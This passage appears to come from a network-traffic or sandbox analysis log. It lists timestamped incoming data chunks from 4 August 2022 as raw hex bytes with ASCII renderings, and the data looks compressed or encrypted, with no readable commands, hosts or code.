2022-08-04 11:37:02 UTC	2867	IN	Data Raw: d9 b2 ed fd 1d 80 6c 0a 43 26 27 50 9f bd 74 40 70 ef 16 00 68 0b 3f 15 d2 c4 fb a5 5e d1 28 48 b5 62 eb 64 e8 93 f4 b8 ea a0 17 2f 00 c2 d3 28 cb 26 03 a0 0e 78 f7 33 b1 60 90 66 9b ff 8d 12 ac bc ac f0 76 1f 27 04 13 e6 9e 42 7f 23 34 83 37 00 8d 9d 48 39 18 3e 14 2d 00 43 0f b0 dc 21 c3 32 a3 25 a0 01 64 d8 1c 0d c1 03 01 ee 09 37 28 0e f4 27 4e 0b 54 26 21 b5 5f 44 67 2f c0 f7 22 10 81 e0 64 0e 02 7b d6 4a 66 28 9a 80 d8 0e 62 ad 73 27 76 e7 76 e4 80 6c 1c 21 b7 ef 52 00 59 bd cf 11 08 5c f4 18 c0 c4 50 d8 58 6a a7 07 02 83 c3 ef e3 91 3d 7c 96 53 85 c0 c5 bb f7 34 67 0c 52 7c 78 08 0b 5a 3c 1b 80 f7 14 04 30 50 d7 24 40 51 8e 09 9c e2 5b e1 d5 fa d2 b5 71 a8 63 22 90 85 ba e7 5e 00 ea d2 2f 1e b0 9d 02 58 f6 ee a8 f6 4a 20 b2 76 b1 fd 44 2f 5e 8a a9 Data Ascii: lC&'Pt@ph?^(Hbd/(&x3`fv'B#47H9>-C!2%d7('NT&!_Dg/"d{Jf(bs'vvl!RY\PXj=\|S4gR\|xZ<0P$@Q[qc"^/XJ vD/^
2022-08-04 11:37:02 UTC	2883	IN	Data Raw: 7f 59 53 d2 54 6d 59 55 2a 94 3e fa f8 f3 d3 e8 36 4a ff 6d 16 2b fe 6b bd 4b bc 68 5b aa 3f fb 4b b8 a8 b0 fb 2e 7e bf 79 5c 3c 83 1e 61 9f 73 56 2d e9 5e fd 14 00 4f 2a e4 a9 1c e8 fd 4a 63 eb cb 36 4b bf 20 01 ef 41 57 73 5d 4b 5f 9d c3 2a 2c e7 2c 91 a4 82 b0 78 fb 5f 10 4c 01 48 64 4e 95 c3 34 ed 27 4f 2f b9 89 55 5d 47 d9 27 57 65 32 4b d7 1c b0 95 90 7b 25 88 2d ff 6f 51 07 da 1d f3 2b 79 48 ff 76 07 68 63 2a cd 3e 50 54 a6 7b 1d 9f 5f 94 ec 95 4e 43 09 80 dc 56 7f 57 3c f2 aa 5c 5d 5e 77 76 b5 f3 3a 44 53 8e dd 81 f7 0b ff 5f 2b a6 42 2f 53 fd b4 6f 7f d3 4f 5a f1 39 3f ac f2 f1 e9 58 2f 06 97 f8 db 6c d3 f2 00 c7 03 93 61 08 b8 4f 05 e4 9d 5b 1d f9 45 63 a5 60 df 93 3f 0b 82 06 c4 e7 5f 60 99 c5 e5 5e 25 ea 40 5e 9e 1c f0 31 8f 2c e2 b0 25 25 5d Data Ascii: YSTmYU>6Jm+kKh[?K.~y\<asV-^OJc6K AWs]K_,,x_LHdN4'O/U]G'We2K{%-oQ+yHvhc>PT{_NCVW<\]^wv:DS_+B/SoOZ9?X/laO[Ec`?_`^%@^1,%%]
2022-08-04 11:37:02 UTC	2891	IN	Data Raw: d6 80 3c da 07 87 9d 1c 59 03 e6 45 5d 67 e0 12 e0 02 68 0e 04 c6 2f 4c 33 fe ef ce dc 4f 00 da 2e a9 1d 3f 14 12 ca 82 ff ba dc 94 39 48 8a 91 14 18 14 e0 9b 3c b9 d2 53 78 f4 17 8a 44 be 31 a8 88 31 01 79 56 e9 7d 38 d8 5f b2 5e a7 e8 6c 14 e4 5e a4 a9 be c8 88 61 0c 7d ff 1d a8 24 9c 00 6e 21 20 8d f5 84 f0 7c 25 8c a8 21 1e a7 f3 dd 3f a0 35 d2 04 68 67 9c 88 5c 88 90 6d f3 c0 c9 db 0e 0e da c3 e4 c7 9d e2 85 51 f3 34 62 e4 ba 6e 56 56 80 89 25 04 6b 78 68 bf c6 f4 c2 28 e6 2d fe 21 d2 5b b4 3a e0 76 04 b7 54 10 58 9a f4 9d ee b0 c9 3c c9 80 fe 2a 50 9f eb 27 61 e6 d5 1b 20 a5 b6 e8 09 96 5c 2b d5 65 7e 84 a9 08 f6 ae 39 e0 00 84 2f 6f 89 01 65 7b 9c da c5 fb a4 7a 8b d8 35 a6 aa fb 81 a8 f8 b4 00 12 51 22 60 fa 0c 75 c0 15 ae 02 68 f0 cb 7e d2 31 55 Data Ascii: <YE]gh/L3O.?9H<SxD11yV}8_^l^a}$n! \|%!?5hg\mQ4bnVV%kxh(-![:vTX<*P'a \+e~9/oe{z5Q"`uh~1U
2022-08-04 11:37:02 UTC	2907	IN	Data Raw: 96 ab 31 64 20 84 4c c7 9c 19 6e 84 fc e0 04 f9 9f 2e 46 35 10 39 7a 31 76 33 7e be 6c c3 60 8b a2 fd 18 b0 78 b1 54 82 37 34 1f 0c 42 10 82 02 07 55 00 ee 4e 1a 8f c5 0c c6 18 80 43 e9 24 ba 4c ef 0c 86 aa fa 84 24 45 0e 92 16 1c bb 21 8f 04 27 96 3c 26 42 ce e6 31 58 5c fc 42 3e 77 90 08 5f 96 2c 83 fb 0e 40 92 5e 2f 97 3e 36 db 9c ba 05 3b 09 bf 88 c0 94 62 ba 87 75 e0 00 f7 ff ea a1 9a 6f 17 c7 00 c1 66 07 01 98 30 4b 32 72 42 c7 60 36 28 82 1a a6 e0 36 0b 05 07 03 69 41 fe 5d 15 83 88 f9 44 2f 15 4e 7d a0 79 db 4b 40 2a e0 e5 c2 48 c0 10 21 77 90 9c 3a 47 04 35 4a cd f4 11 40 30 8e fb 17 06 97 80 76 50 e9 ae 40 09 fc e2 5f 0b d1 62 89 12 8c 01 18 ec a8 bd 3b 98 a4 34 18 3c c2 e7 28 c8 96 bf c0 31 3e 5b 91 5a ad 25 44 65 40 a5 a4 ed 22 52 1c 58 c6 da Data Ascii: 1d Ln.F59z1v3~l`xT74BUNC$L$E!'<&B1X\B>w_,@^/>6;buof0K2rB`6(6iA]D/N}yK@*H!w:G5J@0vP@_b;4<(1>[Z%De@"RX
2022-08-04 11:37:02 UTC	2923	IN	Data Raw: 5d e0 19 d3 44 02 57 c2 9d d9 bf 8d f5 b3 78 a6 71 30 58 94 40 9c 68 3d 12 5a fc 7b ef b2 12 27 d2 0b 6b d7 4e 6e 0a 68 3c 0e df cd 2f 5f 18 71 41 5a b5 ba a3 e4 9a 07 42 3c f5 6f 58 95 35 12 07 b9 fc 0b 60 3d 56 75 e5 1f 00 41 5c 68 32 ec ff 77 75 77 51 04 bc 81 fd 7b 56 a8 f9 87 c6 49 32 f1 5e 77 5c 1f c0 3e 1a cb 3f 96 46 40 db 8f f7 7f a2 61 f7 bb 87 4a ca 7b 37 04 68 0f 8a 1f ab e8 01 ec 68 0a aa 20 37 77 be 2f 54 81 04 bb a0 75 ba 35 d6 ff a2 86 5a fe 50 da 13 5a fe 38 da 0e 1d 15 e3 3f 42 9c 9d c7 3b 5d 51 89 76 bd d6 d4 f2 f5 db 7f 14 9a c0 9b 38 c8 6a 66 fa 4a 3d e8 d5 cc f1 06 ce a2 e3 dc 91 a5 fb c2 ad cc 86 09 e9 1e fe dd 51 c0 c9 00 0a 7f 92 47 4a 5c 0e dd 04 bf 2e a6 80 fe e7 0f 13 aa 77 00 11 13 ef 14 7f 7e 00 25 ba 3e 23 5f fc 7a 88 b1 93 Data Ascii: ]DWxq0X@h=Z{'kNnh</_qAZB<oX5`=VuA\h2wuwQ{VI2^w\>?F@aJ{7hh 7w/Tu5ZPZ8?B;]Qv8jfJ=QGJ\.w~%>#_z
2022-08-04 11:37:02 UTC	2939	IN	Data Raw: 5d 79 18 f3 6a e7 b2 63 90 1a 26 4e 40 bf 84 4b e8 40 5e bc e6 e3 e0 e9 c2 19 45 42 fe 31 a2 cc c9 00 68 70 26 00 30 73 bf 08 7e 28 5f 9c 5f 07 fd ea 4e 94 74 28 30 4e 70 42 b7 56 04 e0 99 eb cc 3a 00 3e 9d f2 26 89 66 4c 78 c1 24 56 ed ce 32 7f 0c b6 4d 40 12 4a 06 9d ca 32 5e 13 6e c6 bf b2 b1 1b fa 3a 08 cb 23 f0 8b de be 9d ef 7a 88 74 cd 5c 2b 6b e9 26 c2 f9 44 df 15 e4 8f 48 61 ea 30 96 41 fa b5 54 c5 27 ec fd 0c a0 76 07 c6 27 da 63 20 78 14 a8 49 10 4f dc a8 44 41 d8 2b ab 61 69 67 0c 40 a6 97 3f a4 40 fd cf 13 70 5f 39 96 32 c4 0c 2d a8 5b 08 98 58 7c b1 bc 7a 48 b0 42 e8 3a 0c 80 08 60 1f 14 5f 3b 99 0c 0a 63 83 9b e2 be 44 26 ae f4 24 7f 09 d7 b7 62 dc 7c e4 62 f1 c0 18 78 be 31 83 40 1a d6 9a a2 2a ae 2f 2e 69 49 9a 90 45 5a af 0c 99 b8 18 72 Data Ascii: ]yjc&N@K@^EB1hp&0s~(__Nt(0NpBV:>&fLx$V2M@J2^n:#zt\+k&DHa0AT'v'c xIODA+aig@?@p_92-[X\|zHB:`_;cD&$b\|bx1@*/.iIEZr
2022-08-04 11:37:02 UTC	2955	IN	Data Raw: d1 ff 11 0e 2b 3e 14 0c 12 09 a2 2a 17 a3 30 0d cb e8 f8 d5 f1 0a 41 84 0a 77 92 03 7c e8 70 e1 1b 8c fe b1 54 ea 4d 5f 6e 8e 97 d5 04 d8 2b eb a3 58 c4 92 e7 bd 04 d0 b2 00 a2 ac 93 28 82 9c 6d 92 e2 c2 7c 2a 25 07 93 8c 18 55 d0 61 44 fc 0f 75 5c 4e 9f af 90 1e 84 51 0e 48 18 44 2f 8e 5d 11 cd 53 c9 50 81 10 be 7b b5 4e 0b c2 d6 52 c3 f7 4d 9d b0 9d 5e f2 bb 29 6c b1 15 01 4d 31 c3 41 58 2e 99 bb e5 55 6b ec 5a 81 7a 46 2a 6f 7b b3 9c 97 84 9f 16 12 aa 05 bb e8 77 ba e6 18 20 4c 02 59 68 f9 c3 3f 7b df c6 4b 95 c4 e9 0b 51 14 fe 3b 7f 25 3c f4 17 09 af cb 65 07 ef ad ff 73 53 4e ca aa 67 d7 ef 60 01 68 d3 f4 db 57 7a fc ad 96 bf 2a fc 4a ed 22 f4 63 8a 68 f8 7e ff 78 eb 20 6a f9 4e 5f b9 47 27 c3 74 0e 5a f9 e1 03 50 52 ff 77 4f c7 bf 6b 46 5a 8e ee 93 Data Ascii: +>0Aw\|pTM_n+X(m\|%UaDu\NQHD/]SP{NRM^)lM1AX.UkZzFo{w LYh?{KQ;%<esSNg`hWzJ"ch~x jN_G'tZPRwOkFZ
2022-08-04 11:37:02 UTC	2971	IN	Data Raw: df 46 7e 60 82 ac 5a bb c1 ba 8b 39 42 52 ce e3 da f1 99 0e 20 12 6d 1d c6 20 a4 a7 55 47 64 a5 fd 62 82 77 ee a2 c6 0c de bc 50 5a 2c c1 74 39 95 8f 18 7d f6 5c 25 55 4c b0 31 12 36 30 21 b0 89 9c f2 47 e2 d5 46 84 27 a0 3e d7 1c 2a 00 69 bb 65 2e 99 9d 8b c0 27 0d a6 79 01 61 84 a5 e2 2e a0 60 90 40 d1 73 30 65 51 dd 31 17 6e 01 40 94 ea f8 6c b0 2e 2d 56 26 18 b7 8c fb 8a a4 7c 62 81 dc 76 f6 dd b8 16 92 d4 00 2d 10 f9 e5 9d 6f f6 b0 37 65 93 28 67 44 3c c1 b3 36 d6 88 35 40 00 94 2f 1c 23 a6 76 d1 a2 02 91 03 6a 22 60 16 44 c8 09 40 be 1c 42 da 56 02 0e b2 07 2d d2 ce 64 ae 27 c8 f8 d2 f5 c0 ac 02 66 73 48 9e 50 c5 a0 5d 00 b8 36 f4 b7 b9 a9 05 eb 04 ae d5 be 48 c9 ec 84 c9 1a 40 12 15 ff 0a 65 2f 6f 89 b5 17 92 b3 96 30 6e 74 ea a7 fe 59 4d a2 70 2d Data Ascii: F~`Z9BR m UGdbwPZ,t9}\%UL160!GF'>*ie.'ya.`@s0eQ1n@l.-V&\|bv-o7e(gD<65@/#vj"`D@BV-d'fsHP]6H@e/o0ntYMp-
2022-08-04 11:37:02 UTC	2987	IN	Data Raw: 93 e2 1c 21 49 e8 7f 18 14 57 19 7f 63 a4 84 7e b4 1e 7f 74 c4 b4 6c ce 98 40 ca 59 1c f6 cc 08 42 9f ce c0 f4 7d 67 c6 1c 86 30 48 dc 13 01 a8 9e d4 6d e8 91 c5 28 da 31 c8 fa eb 30 69 60 19 c2 9e 06 4d 9a ea b9 8b 0c 1c b7 de 64 d8 0e 9a 71 ff 85 00 27 d6 e8 a5 57 4f 38 a7 6f 81 d0 c8 33 dd 4e 70 45 ba af 1a ae 38 71 b4 e8 ce 05 07 ca d7 82 a7 9c 61 73 fe 68 fc a0 88 c2 20 05 03 a3 14 a2 f7 88 70 bc 27 f2 37 02 14 4a 32 52 a2 58 a0 46 25 78 57 e7 f2 30 c8 7c 0f 53 05 3a 13 8a 96 fc fa 73 1c 6c 0e 28 b0 40 1b d6 be 2a ec 7a dc 26 00 fa 69 48 56 fc 2c 3e 59 21 25 f5 d7 10 ed 17 c1 84 d8 ac 94 c9 9f 00 25 34 46 ed f9 73 74 5b 54 fd 1a 4b f7 00 97 48 34 c0 c1 02 55 9e 0b b8 4e 0a 84 84 02 a5 69 c5 e6 7f d0 c2 7e 16 0c 80 61 dc 2f 84 b1 07 f9 a3 59 a5 f4 09 Data Ascii: !IWc~tl@YB}g0Hm(10i`Mdq'WO8o3NpE8qash p'7J2RXF%xW0\|S:sl(@*z&iHV,>Y!%%4Fst[TKH4UNi~a/Y
2022-08-04 11:37:02 UTC	3003	IN	Data Raw: f2 32 54 df e4 12 38 28 a5 e9 25 00 28 30 df 26 1d 2d 4c 76 d4 c7 62 0f 29 f7 c6 d7 25 53 cc 8b d6 03 83 1b 66 5a 52 b4 ca 1d 25 4e 90 68 1e c7 86 00 bb 0d ee 1c 82 3b 2e e3 c6 70 c8 83 42 0b 9f 6a 70 a3 fd 64 9c 00 e1 4a bb 67 05 89 42 cc 0c ae 03 dc 9d 80 33 e2 9c 50 1d 5a 2c 04 26 ff 17 58 dd c1 a6 af 61 dc 79 34 60 71 c4 3a 42 8a 05 2f e0 12 fd 80 5b 32 4f f7 66 a4 dc 07 61 9e 41 4d b2 f6 93 25 1e 3a 23 fc cc 8c b3 48 dd 1c 65 ac 08 84 e2 cd 4b aa 31 28 78 d9 a0 7c cc 2d 9d 0c d1 09 5a dd ef ce 84 80 d9 fd 3c 14 5c 04 65 85 90 a9 06 bf cb 8c 38 2f ee 55 49 ea b0 7c 1e 5f ae 02 6f cf f9 2c 5d 5c 90 ec 64 52 50 fa 0e 38 61 3a 38 a9 54 d1 7b 20 84 14 d0 02 a8 08 28 5e b8 bf 74 6d 27 0c 1c 7f cd 46 01 e2 5c 84 1a d9 2f e2 26 86 ba f2 ec 03 c1 38 20 14 df Data Ascii: 2T8(%(0&-Lvb)%SfZR%Nh;.pBjpdJgB3PZ,&Xay4`q:B/[2OfaAM%:#HeK1(x\|-Z<\e8/UI\|_o,]\dRP8a:8T{ (^tm'F\/&8
2022-08-04 11:37:02 UTC	3019	IN	Data Raw: 5e 68 f1 46 3b 36 71 10 51 74 c7 c4 ca b0 13 01 8f 02 eb 64 22 ba ad 12 98 04 f9 52 5f fd ef 3d 1c f2 2c 04 01 27 53 fd 51 47 11 88 d6 a1 85 4c f4 04 4b 62 be 9a ac 2f fb 63 20 42 6c 26 76 8a 01 16 03 97 fe 7f 9a 6a 42 6c 01 bb 3e cc aa c6 bf 2f aa 31 ae 45 58 0d 33 8c 72 20 64 e5 ee 9f 80 8c 0e 71 72 24 1a 39 64 04 8a e9 26 ac 69 09 b4 c8 b9 5c 86 12 88 bf 38 25 5a 25 61 57 ff e6 3e ba 84 31 6a 80 48 28 fe 2d 90 13 e7 26 ab 47 88 3a d6 fa c8 83 b3 a1 38 2e 05 95 b6 bb 0e da ae c2 8e 5b 5f d1 bd e1 a2 2c fe 14 ee cd 50 29 be c6 67 ea 24 97 e6 a0 53 5b 26 13 4a 6e d7 c4 ab f5 4e 50 82 26 d6 30 78 81 a8 00 bb 1c 67 9f d5 bf 8d a5 70 d9 84 80 40 68 58 c2 68 ad bf eb 5d 42 1b 74 e8 6c 10 95 58 5d 66 48 b2 4e 41 68 93 11 18 05 96 44 9e e1 7b 04 9e fa cf 50 01 Data Ascii: ^hF;6qQtd"R_=,'SQGLKb/c Bl&vjBl>/1EX3r dqr$9d&i\8%Z%aW>1jH(-&G:8.[_,P)g$S[&JnNP&0xgp@hXh]BtlX]fHNAhD{P
2022-08-04 11:37:02 UTC	3035	IN	Data Raw: 04 cc fb a8 6b 2c bd 8a f8 ce 0e 47 03 c0 43 c2 f1 30 89 03 82 09 a6 9e d5 5d c1 99 3c 6e f5 b3 2d b8 4b fc 82 b4 13 12 a9 24 d9 70 14 7b 81 3b 50 a5 62 36 1e 99 35 10 9e 0c 8a 17 03 8d 8c 18 25 77 6a 18 64 55 fa e4 24 56 53 6a 02 83 e9 2b 09 f6 9e 00 ab ef 24 44 43 b7 e3 8c 58 f6 89 44 e4 5c fb 74 a8 64 85 e2 80 e7 bc 26 42 4f f3 cc ac 88 34 fb 10 6d 92 91 0c 9a e9 02 51 4b 18 ec f6 f0 18 a0 59 3c 20 95 00 42 fd bd 79 f9 d7 9a 01 5c 4f 33 c3 d8 11 ea f5 44 2c b8 0c 13 7d 7e aa 41 90 88 5a e6 06 4e e8 31 20 02 e0 95 e3 aa fb a6 56 7a 78 f0 c5 03 40 79 e0 9d 3a db e4 fc 32 a0 a2 52 ac 05 59 d6 14 1e 3d 2a 90 10 6a ed b8 72 51 e2 24 d2 51 76 cf 8a ef dc 5e 92 0a 28 f8 ef ae 03 06 c2 3e 1f 60 a7 50 5c 54 2d 00 28 93 d3 f4 19 13 ac d9 13 3d ce 10 26 28 1c 00 Data Ascii: k,GC0]<n-K$p{;Pb65%wjdU$VSj+$DCXD\td&BO4mQKY< By\O3D,}~AZN1 Vzx@y:2RY=*jrQ$Qv^(>`P\T-(=&(
2022-08-04 11:37:02 UTC	3051	IN	Data Raw: ab 0a 5e 4c e9 47 5b 30 64 68 e8 45 3a 57 7c 85 35 51 eb 7f a8 bc b2 c5 19 5d 78 13 a9 ed 87 6b bd e3 b6 bc 73 54 4b 5e f9 27 f4 aa e8 81 f9 3a ce 3a 5b fe 2e 5d 02 68 8c 57 cb 2a ff bc 92 b4 f0 25 f6 8e 7e 95 9c 02 9d 77 17 43 2f 38 99 68 0f 12 cb bf 3b 91 49 41 52 6e 12 3c fb 3e d8 4a bd 86 c4 ee 62 00 b0 fc 0f 63 4d 01 f5 37 35 b6 4e 5f 1b 2a ad 60 92 00 9a 08 6a fe ff a0 2f 79 fd f5 38 b8 19 05 02 75 2a 03 9d 0a ea 7f 3e e0 3f 16 47 c2 b1 46 e7 5e 26 08 b2 9a 02 6b 7f 1e 5a 09 f9 22 21 04 90 44 99 a4 f2 16 27 f1 f4 75 90 24 0d 4e 20 5c 58 c0 dc 56 3c 7f 17 b4 60 70 68 e5 79 83 d2 02 61 65 36 ca d8 a6 60 b6 07 52 98 68 28 d7 14 52 60 2c 55 a0 3e 18 94 c6 28 5e 52 58 34 3d c2 ac be cc df 49 05 3c da 61 f3 1a ea dd d4 2b e6 80 09 5d af 1c 55 59 ec 43 02 Data Ascii: ^LG[0dhE:W\|5Q]xksTK^'::[.]hW%~wC/8h;IARn<>JbcM75N_`j/y8u*>?GF^&kZ"!D'u$N \XV<`phyae6`Rh(R`,U>(^RX4=I<a+]UYC
2022-08-04 11:37:02 UTC	3067	IN	Data Raw: 3a dd 70 dc 30 c7 36 98 80 ff 88 b5 4c b0 17 6e 3c 2e f0 61 28 61 65 dc 26 fa d1 a7 e1 f9 c4 8d a6 e0 e8 00 86 f7 20 99 49 31 26 25 b4 68 c3 ac e7 62 cb 99 f4 a0 d2 8c 0c 86 24 d0 30 18 a5 e8 02 88 ef 6c fa 91 b1 12 02 fc 62 55 1e e4 ac 03 a2 15 d1 3a 6e 7e 0b 64 3c 2c 80 18 00 65 bd 31 43 63 3c db 24 ad f0 c8 98 21 6f a0 8a 0a 23 58 d1 8c d6 e4 98 84 62 f7 30 f0 f5 70 46 51 1d 94 ad 98 18 30 e8 21 4a be a8 fc 7e 20 c3 04 10 3f ea af 18 4d 2a 70 68 a6 00 1f dc ae e5 e8 d8 3a 06 05 19 be 73 7a a4 ff e1 65 2a 38 13 c6 2d db 01 fe c2 cc 94 b7 b7 00 84 5c da 66 c5 12 67 a5 bd ff 8f be 05 d9 60 b4 1b fe 35 90 21 54 56 42 e6 f7 f9 00 68 ea 07 63 ef 7e 94 09 81 60 c1 2e 3e a1 7c 2f ff 61 70 c4 73 7b ac c2 97 ea d8 4a 0a 52 94 fc 04 ba b5 e6 bf 0d ec 12 2e 99 f6 Data Ascii: :p06Ln<.a(ae& I1&%hb$0lbU:n~d<,e1Cc<$!o#Xb0pFQ0!J~ ?Mph:sze8-\fg`5!TVBhc~`.>\|/aps{JR.
2022-08-04 11:37:02 UTC	3083	IN	Data Raw: 8f e8 b2 0f f8 34 00 4d 2f 14 e2 c0 3c 8c a6 d3 fc 4e 53 b6 bb a0 28 5a 4f 9b ec f4 c1 18 69 67 56 97 e0 fb a8 86 01 7f bf 52 b1 44 f3 32 1a 17 56 90 af 70 32 c9 09 1e 4f 76 41 d2 5c 7e bd 6c 41 7a 8b 82 f2 c6 00 0c db d1 c0 4e 3d 7d c2 6c 48 74 01 98 ea 68 03 c1 74 23 b1 56 7f 84 d8 46 c1 7c fa bc bc d7 e4 34 32 70 9f 97 de 9e 65 fb c4 05 91 c2 ab dc 44 50 fa f2 8a 60 1c 08 e2 ea a3 bd 59 50 8b 07 df 7f be fa 7e 1c 85 c2 ad e5 bc 26 21 d6 de 70 30 13 1f c0 06 10 71 dc b3 94 c8 12 9b 5a e2 f3 c0 16 77 c5 fd 3e 50 6c 8c 78 b1 10 3a 04 21 2f f4 f7 2e 7e 43 25 d2 bd 13 2c 72 ff ea 80 5a 8a 24 63 4e a0 cc 64 f2 e1 3f b3 8c 1c 52 76 2c ec 56 2d cc af d1 84 e8 1e f1 d4 1b 07 7c 06 72 c2 95 2c 12 98 b1 a8 c1 fa b0 09 30 5e 29 68 65 d1 c8 7a b1 3e 2e fe 62 58 34 Data Ascii: 4M/<NS(ZOigVRD2Vp2OvA\~lAzN=}lHtht#VF\|42peDP`YP~&!p0qZw>Plx:!/.~C%,rZ$cNd?Rv,V-\|r,0^)hez>.bX4
2022-08-04 11:37:02 UTC	3099	IN	Data Raw: ba 42 52 c2 c4 64 75 d3 38 36 0c 4f af 8c 72 2e 00 08 55 f0 af 32 fa 8d 7e 01 0d 3d e1 4a bf 7c a6 6e 2d 62 00 44 5e 80 fd 9f 11 18 37 34 be 71 98 20 02 59 39 9f 81 96 c8 8b d6 f5 cf c0 b9 4a ba 9c ca 71 5e 72 eb 68 e0 d0 77 5a 85 82 90 ac d6 b8 d7 ed 38 89 06 0c 7e 11 ec 08 d8 01 1f b3 0f 38 89 c8 2d cc 8e dc 00 26 c3 c4 bc 83 59 c2 90 52 6d e8 5b 8c 40 f4 41 72 83 78 c9 a4 cc 39 00 18 6f 73 e5 89 c0 a8 df 05 06 07 d6 14 4d ae a2 26 17 2c a7 10 0a b4 16 f8 aa d6 30 1c 0b ec 9c f7 91 10 70 92 c4 0c 95 49 c2 1b cc fe 24 be 9e ea ad 1a a8 80 0c 45 a4 e5 ff 25 08 d0 f8 72 fe 27 01 09 da 02 c7 2e b2 58 d6 50 94 12 b1 c0 20 16 40 a6 90 40 aa 8b 61 14 dc 86 e5 fc 3a b6 93 60 2c 31 1d 4d 0f 0b c8 6d 15 38 d3 7a 91 5b dd 93 46 fa 8a a4 85 f6 39 e9 a0 f1 06 3b c2 Data Ascii: BRdu86Or.U2~=J\|n-bD^74q Y9Jq^rhwZ8~8-&YRm[@Arx9osM&,0pI$E%r'.XP @@a:`,1Mm8z[F9;
2022-08-04 11:37:02 UTC	3115	IN	Data Raw: 09 a4 9f f1 d6 89 33 1a dd f9 2a 0e e9 47 62 11 cc 76 80 96 1f 99 1a 5e 30 2e ea 84 61 2a 81 16 05 6c 06 ed 66 00 6f 51 6a aa 84 49 4d 3f 7f 8b 00 e3 0c be 50 4f 31 3c 65 ce 3c 6f fa 28 cc a8 32 70 4f 15 18 d0 3a 30 75 11 a0 83 03 74 a3 c7 d0 30 9d 8f 4b 5e fb 28 92 2f a0 dd a7 05 73 47 c3 6a ee fc 1a 01 2f 25 cf 8b c0 6a 8a 02 85 40 44 ea c1 00 15 60 f5 98 fb 88 62 3d cc 3a 9d 24 e9 00 a1 c3 e2 04 a9 ea 68 19 64 0c 1e e7 0e 75 32 22 32 ec 75 82 50 3b 45 82 e2 8d af f2 76 6e 32 06 03 36 0a d9 84 fb 3c ca b0 19 cd 3a 42 7e 3d 3f b0 e0 88 be c0 50 82 06 a0 ea 86 ca 91 08 2f cb fa 5a 20 ed 22 07 1c 33 e1 6c ee cb 05 f4 1e cc 88 c9 9c 34 00 fe 52 8b 24 30 64 4e bd ed 28 9e 90 5e 49 c0 28 bc c2 31 0f 6d b8 79 8d 96 2c 05 b2 be 00 a0 3e 99 b1 0c 82 d4 1f 68 f5 Data Ascii: 3Gbv^0.alfoQjIM?PO1<e<o(2pO:0ut0K^(/sGj/%j@D`b=:$hdu2"2uP;Evn26<:B~=?P/Z "3l4R$0dN(^I(1my,>h
2022-08-04 11:37:03 UTC	3131	IN	Data Raw: f7 ff 17 ba 0b d7 a0 d4 50 04 6d 0d ad 02 ee 68 02 01 45 c7 d3 02 9b df c0 3f b4 d7 00 d1 3c a8 5b 78 44 29 d4 fe 27 32 05 ed 28 32 77 02 77 4e f6 57 d4 e9 70 69 8c 17 cc 6d d6 af 04 8c 1e a6 aa a2 ae 86 80 dd 4c 0b 19 35 7e 36 83 12 18 30 02 54 1c ee ba dc 65 e0 8b 05 cd e9 0e 00 dd 1d fd 4b b0 f9 ed 2f 60 cd d4 ba 52 fe b8 60 db 5d bb 1c 95 7e 86 cc 90 a2 25 61 fe 55 1f 1e 24 05 92 56 be a2 b5 4e 16 b3 a9 2a a0 6a 11 f9 5f 3d 8c 0b ed b6 61 05 9b e0 4e 58 1e 55 89 f0 a1 23 10 02 5e 5b 9c af e9 15 50 21 1e 3d 39 d0 13 5e ff 6e fa 4b fb 8e e5 e4 ef 12 10 aa e2 90 b4 bf a2 30 f4 be cf d0 4b 41 20 6a c4 bf 63 7f e8 e9 bd 2c 6c a8 41 9c 8f 4e cd 59 46 7f fc b7 ad 7f 3a bd 05 68 80 db c3 ea 0b cb 34 fc 4d 60 cb 74 f7 0b 4d 5e d8 41 08 7f 5f 55 d0 fb a4 e8 f1 Data Ascii: PmhE?<[xD)'2(2wwNWpimL5~60TeK/`R`]~%aU$VN*j_=aNXU#^[P!=9^nK0KA jc,lANYF:h4M`tM^A_U
2022-08-04 11:37:03 UTC	3147	IN	Data Raw: 96 42 15 f2 df 73 88 e1 15 52 fd 0a c4 cc 35 2a 25 d8 8f 16 55 26 b4 e0 56 5a 20 9b 1f 27 6e 1e 90 62 53 10 40 09 5e 60 27 18 bc ec 77 a5 09 55 a8 41 0c b1 ae 2c b0 09 98 30 5f 29 e0 63 0b f3 02 1e ff 6c 58 c0 84 c6 47 ee 25 5f 5f 9c af 29 80 82 2c 32 5d 6c 0e e0 0e 56 c0 f8 a5 95 d4 f8 cc 0c dc 9d 80 6c 54 28 a7 30 00 fe 2a 2d 51 26 03 49 c6 7c 0e 75 a8 cf 24 aa 37 e9 c4 d8 b4 e6 ab 98 ad 0e 19 0d f6 a3 ae 57 c3 0b ef 70 aa fb fd 38 9c b6 4a 90 2a 28 cc fe 0e 21 8a 3f 35 c0 e4 c7 6a 18 63 02 80 6c ca 1d 7e 0b 5f 20 a9 24 90 ce 40 11 60 2f 08 e5 54 8b 2d fd 1c 7a 02 f8 6a 2b 3b 99 9e 75 f4 24 16 80 76 92 04 98 9d b2 c6 4f 52 45 4a f4 6e 06 82 99 08 54 27 94 f0 23 72 b4 fb 24 1d 0e ac 09 c1 55 72 a4 32 22 24 4c bb fd 72 06 b5 2b 84 df 40 42 bc 47 d7 2c ae Data Ascii: BsR5%U&VZ 'nbS@^`'wUA,0_)clXG%__),2]lVlT(0-Q&I\|u$7Wp8J*(!?5jcl~_ $@`/T-zj+;u$vOREJnT'#r$Ur2"$Lr+@BG,
2022-08-04 11:37:03 UTC	3163	IN	Data Raw: 1c 5e 58 50 65 26 12 44 29 af 83 59 22 07 b9 49 c1 e4 03 4b 81 15 0f 86 4e 8a 1b e9 75 05 0c bb 29 aa 60 25 41 01 dd 46 0c 95 d2 42 01 df 77 cd 45 42 b8 a3 ce c4 ea 30 bc 8b 28 87 4e d7 27 40 4f d6 15 42 8a 32 18 78 f9 1c 05 8f 02 28 11 46 79 08 89 9b 06 80 c0 04 80 0f 91 af 03 a4 61 4b 1b 99 08 df 83 89 76 c8 6c 8f 4a 00 a2 77 b4 f1 f4 f2 ca b3 02 2c 96 a9 98 e9 30 47 c7 13 51 ee 60 ef 38 f8 ff 27 0d 44 75 92 df fd e7 ed 3b 28 ea 18 97 92 4f ff 52 d7 60 93 29 68 0f 2e ef 48 7d 9a 92 21 b8 c5 a5 ed 56 48 fc 4b 10 c7 7f 10 23 7c 20 0d 9d f6 79 58 58 2d a1 26 e9 f3 4a 8b be 01 78 52 5a ef 55 39 50 d7 94 23 00 10 2d 62 ce 87 6d c5 80 f0 05 12 08 f3 7b 80 68 06 8d ff 7f ea 0a 3a 5e ef cd 6f d2 00 0e 93 9a 1f 1c 01 89 58 a0 ae 0b 37 e9 6d af 5f c9 22 0e 24 69 Data Ascii: 